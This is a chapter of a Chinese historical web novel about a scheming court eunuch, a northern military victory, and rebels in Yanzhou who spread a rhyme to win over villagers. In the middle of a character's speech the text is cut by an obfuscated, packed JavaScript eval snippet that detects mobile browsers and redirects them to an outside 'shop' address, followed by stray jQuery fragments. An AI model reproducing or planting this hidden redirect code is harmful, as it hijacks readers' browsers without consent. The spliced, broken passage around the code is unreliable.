底下小太监的声音拉回高静忠的思绪。


    “你再说一遍。”他有些怀疑。


    “回公公，前线传来捷报，大将军杀退胡敌，胡人已不敢来犯。”


    高静忠嘴角咧开一个笑，看上去有些渗人。


    “想不到，真想不到！”他自言自语，像是陷入某种狂喜，“这家伙当真是个人才，不过半月便击退了胡人。”


    说完，他停滞了一会儿，嘴角突然向下一撇，语气里带着恨意：“要是让他凯旋归来，这宫中哪还有我的位置！”


    小太监大气不敢出，战战兢兢地跪着。


    待高静忠说了声“退下”，他这才有动作，可他一只脚刚踏出玉华殿的门槛，一人便擦身而过，他余光瞥了一眼，知道这人是高静忠的心腹，名叫堇愿。


    他不敢停留，迅速离开，觉得恐有大事要发生。


    高静忠离开内缉司后，堇愿一直跟在他身边，但没个正经职位。


    后来楚稷成了吏部左侍郎，高静忠便寻了机会让堇愿坐上提督的位置。


    北疆战事发生得急，但他没忘记那些反贼还在他眼皮子底下猖狂，他遂命了堇愿去办此事。


    平日若无事，堇愿不会随意进宫，要是让朝中大臣看见了，不知道会说些什么。


    眼下他来得匆忙，高静忠双眉一敛，问道：“发生何事了，那些反贼又干了什么？”


    堇愿拱手道：“回公公，我派去监察的人来报，如今反贼聚拢在燕州一带，趁着北疆战事动摇民心，城中流传一首童谣，说……”


    “说什么？”高静忠抬眼，双目狭促。


    堇愿开口，一五一十地念出：“昔日叛军首辅死，今日王朝携珠来，贼心不改天爷看，正统一脉终回还。”


    他说完，四周空气安静下来。


    高静忠背起手，目光不知看向何处，他思量了一会儿，问道：“‘今日王朝携珠来’，是什么意思？”


    堇愿道：“听当地人说，珠子原本嵌在玉玺上，二者是一体，都归属前朝。”


    高静忠皱起眉头。


    什么玉珠，他怎么没听说过，难不成是这些逆贼想玩弄把戏，扰乱民心？


    高静忠面如菜色，他自是不会凭着空口就相信他们有个什么玉珠，可这前朝之事，他不甚了解。万一正如他们所说，存在个玉珠，那事情可就麻烦了。


    想到这，他忙道：“速速命人去捉拿他们，便是把这燕州城踏平，也要给我揪出来！”


    堇愿应下，方要转身，高静忠想起什么，又道：“北疆刚传来捷报，楚稷离燕州这么近，叫他去最好不过了……此时你暂时先不用管。”


    “是。”堇愿退下。


    高静忠抖了抖衣袍，准备去花园找徐北枳。


    如今要给楚稷下命令，还要征得那小皇帝的同意，虽不过是走个流程，但看起来好歹名正言顺。


    正好，平日玉玺所放之地极其复杂，他一会儿哄着骗着，再给徐北枳送些美人，让他将玉玺放在寝宫，他也能借机看看，这玉玺上是否缺了颗珠子。


    燕州，青山县。


    木制围栏绕成一个圈，里头是用干草和木头搭建的一间屋子。


    说大不大，从外往里看过去不过一座四方的盒子；说小也不算小，这样一个房子总共能住下七八人。


    张大娘右手勾着一个竹篓，左手捡起几片烂菜叶子，扔到家中唯一的一只公鸡面前。


    这只公鸡羽毛鲜亮，头上大大的鸡冠摇摇摆摆，它的头一前一后来回晃动，优雅地背手，来回踱步，时不时叮一口菜叶，在上面叮出几个密集的洞来。


    张大元和张小元从屋里跑出来，赵观庭跟在他们身后，手里捧着一小袋用油纸包好的蜜饯。


    大元今年十二岁，个子不高，身形瘦弱。除了这张脸看上去有些黝黑，其他的地方绝看不出他是个山野长大的孩子。


    他弟弟小元今年九岁，和他哥哥一样高，身形壮实，脸蛋圆胖，两人站在一起，叫人难以分出谁是兄弟。


    赵观庭将蜜饯塞到大元兜里，对二人道：“今日不念十遍，不许回来。昨天给了你们好些东西，结果就念了五遍。这首诗这么难记？你们要记不住，我再念一遍……”


    “别了别了。”大元连忙摇头，“你都快念的有八十遍了，我听的耳朵都要起茧子了。放心吧赵哥！昨天是因为村子里有小孩捣乱，今天我们一定能完成任务！”


    “叫什么赵哥，”赵观庭笑着拍了拍他的头，“年纪不大，气势倒挺大。”


    大元嘿嘿一笑，往外跑去，小元跟在他身后，兄弟俩一溜烟就没影了。


    赵观庭正准备往屋里走，篱笆外传来动静，他打眼一望，见微月和萧映雪施粥回来，她们身后还跟着一人，正是几日前与他们在城中结识的吴桂平。


    黄皮坡一事后，他们回了芜州，上下打点一番，又迅速赶往了燕州。


    燕州本就受饥荒影响，如今北疆胡人来犯，战事一起，官府就向当地征粮、征兵，城中情况更是雪上加霜。


    恰好此时，他们遇到了吴桂平，此人一出现，赵乾心中便生出良计。


    吴桂平是这一带的富商，祖上曾在南方做过生意。承朝尚未一统天下之前，吴桂平的爷爷在运朝的故都千州做织布生意。


    后来战事四起，他们逃到北方，逐渐在燕州定居，经此数年，又开始做起药材生意。


    前朝景象，吴桂平的爷爷曾在他幼时与他说起过，如今燕州城民不聊生，吴桂平本就是性情中人。赵乾与他说明来意后，他便允了赵乾的要求，将家中积攒的粮食拿出来救济周边的村民。


    不过他也有要求：届时若他们复国成功，赵乾需记得他吴家的恩；若是复国失败，他们也绝不能暴露他的存在。


    赵乾以玉珠作誓，二人一言为定。


    之后，赵乾将人马安置在青山县，村里张大娘因得他们救助，愿意让他们暂住一段日子。


    微月与萧映雪等人负责救济周围的村民，而赵观庭在吴桂平答应帮助他们后，他心生一计，编了首童谣教村里的孩子念，口口相传，逐渐传到城中。


    他们借此机会收拢人心，城中渐渐有人来投靠，复国的队伍逐渐庞大。


    仅是这些并不足够，赵乾心中清楚。


    但若能借此机会占领燕州，他们便可从此地开始，走出下一步。


    吴桂平前几日方与他们联系，今日又来，赵观庭有些讶异。


    他面带喜色，朝赵观庭略略点头，径直走进屋内找赵乾。


    微月与萧映雪聚过来，赵观庭有些好奇：“发生什么了？快与我说说。”


    微月道：“听说与北疆战事有关，刚才我们在路上相遇，吴叔着急赶路，没同我们细说。”


    萧映雪将手中的竹篮递给张大娘，对二人道：“走，我们进去听听便知道了。”


    三人刚踏进屋，吴桂平便对赵乾道：“昨夜我得知消息，说北疆战事已平，胡人已经退兵。”


    赵乾扬起眉头：“竟然这么快？”


    “是啊，”吴桂平喝了口水，润了润嗓子，“我也没想到会这么快，这是天大的好消息！不过今日我来，也是想给你一个提醒…


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17347983|186300||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    …”


    张大娘的身影在门口一闪而过，他顿了顿，压低声音：“胡人被杀退，这捷报也传到了皇宫。可我听人说，那位姓楚的大将军还没有离开北疆的意思，看样子还要待上十天半个月。”


    “这表面看上去，是怕胡人出其不意，再次返还，可实际就没人能说清楚了。现如今，你们编的这首诗在城中流传甚广，我担心皇城那边已经有所计划。”


    赵乾缓缓点了点头。


    吴桂平并不知晓楚稷与他们的关系，但赵乾心里清楚，楚稷明面上站在承朝那边，可皇城若是派出其他人手，他们很可能会再次陷入困境。


    看来，必须要尽快联系楚稷。


    二人又说了几句，赵乾安慰吴桂平，让他放心，他们已经有所准备。


    待吴桂平走后，赵观庭开口：“不如让我去找楚稷。他如今成了将军，手握兵权，于我们是大好局势。”


    赵乾摇头，盯着桌上的木纹，陷入沉思。


    萧映雪开口：“虎符合一才能领兵，他如今手上应该只有一半，就是我们拿到手了也很难做什么。”


    “小雪说的对，”赵乾看向三人，“如今最关键的是尽快要与楚稷取得联系，但军营士兵重重，贸然前去会有危险。不急，此事我们再等等。”


    赵观庭还想说什么，微月拽了拽他：“让四叔先想想，别烦扰他了，我们去院里帮帮张大娘。”


    萧映雪也颇为同意，两人一左一右拉着赵观庭出了屋子。


    张大娘本在喂鸡，见几人出来，忙凑到跟前：“我刚才在屋外听你们说，已经不打仗了，是不是真的？”


    微月接过她手中的竹篓：“大娘听得没错，胡人已经退兵，北疆战事已经平息。”


    “哎哟，太好了，太好了！”张大娘亲切地搂住微月的手，“这一听说不打仗啊，我心里头就马上踏实了。这些天我没一个晚上睡好觉过，总担心我家大元可能被拉去当兵。”


    “他才十二岁。可如果接着打下去，就算是十二岁，也是要被拉去当兵的……”


    她神色激动，絮絮叨叨地说了好一会儿才肯放开微月的手。


    太阳快要下山的时候，大小元兄弟二人出现在篱笆栏。


    他们身上脏兮兮的，混杂着野草和沙石，却不是叫人给欺负了，而是他们本来就皮实，每日出门都要疯玩够了才会回来。


    正好是晚膳的时辰，微月叫二人洗手进屋吃饭。


    赵观庭抱拳站在一旁：“今天你们念了几遍？”


    “十五遍！”大元帮弟弟搓了搓手。


    小元也重复了一声：“十五遍！哥哥说昨天少念了五遍，今天就多念五遍。”


    微月忍不住揉了揉他们的脑袋。


    赵观庭眉飞色舞的：“哟，不错，张大元，真有哥哥样呀！”


    “那是！”大元挺了挺胸膛，“我要给小元做榜样。跟我爹一样，当个大英雄！”


    兄弟二人有个爹，但这爹自他们幼时起便没了印象。


    他们听娘说，二人刚出生没多久，还在吃奶的年纪，他们的爹就被拉去当兵了，这一去再也没回来。


    但不管怎么样，最后这场战胜利了，战死沙场的士兵都被称作英雄，他们的爹自然也是大英雄。


    反正张大娘就是这么从小跟兄弟二人说的，又因为大元从小便比弟弟瘦些，总担心自己保护不了弟弟，所以他便格外希望自己能像他爹一样，做个英雄一样的人。


    赵观庭听张大娘说过这事儿，他轻轻拍了拍大元的后背，语气肯定：“我觉得，你会比你爹还厉害。”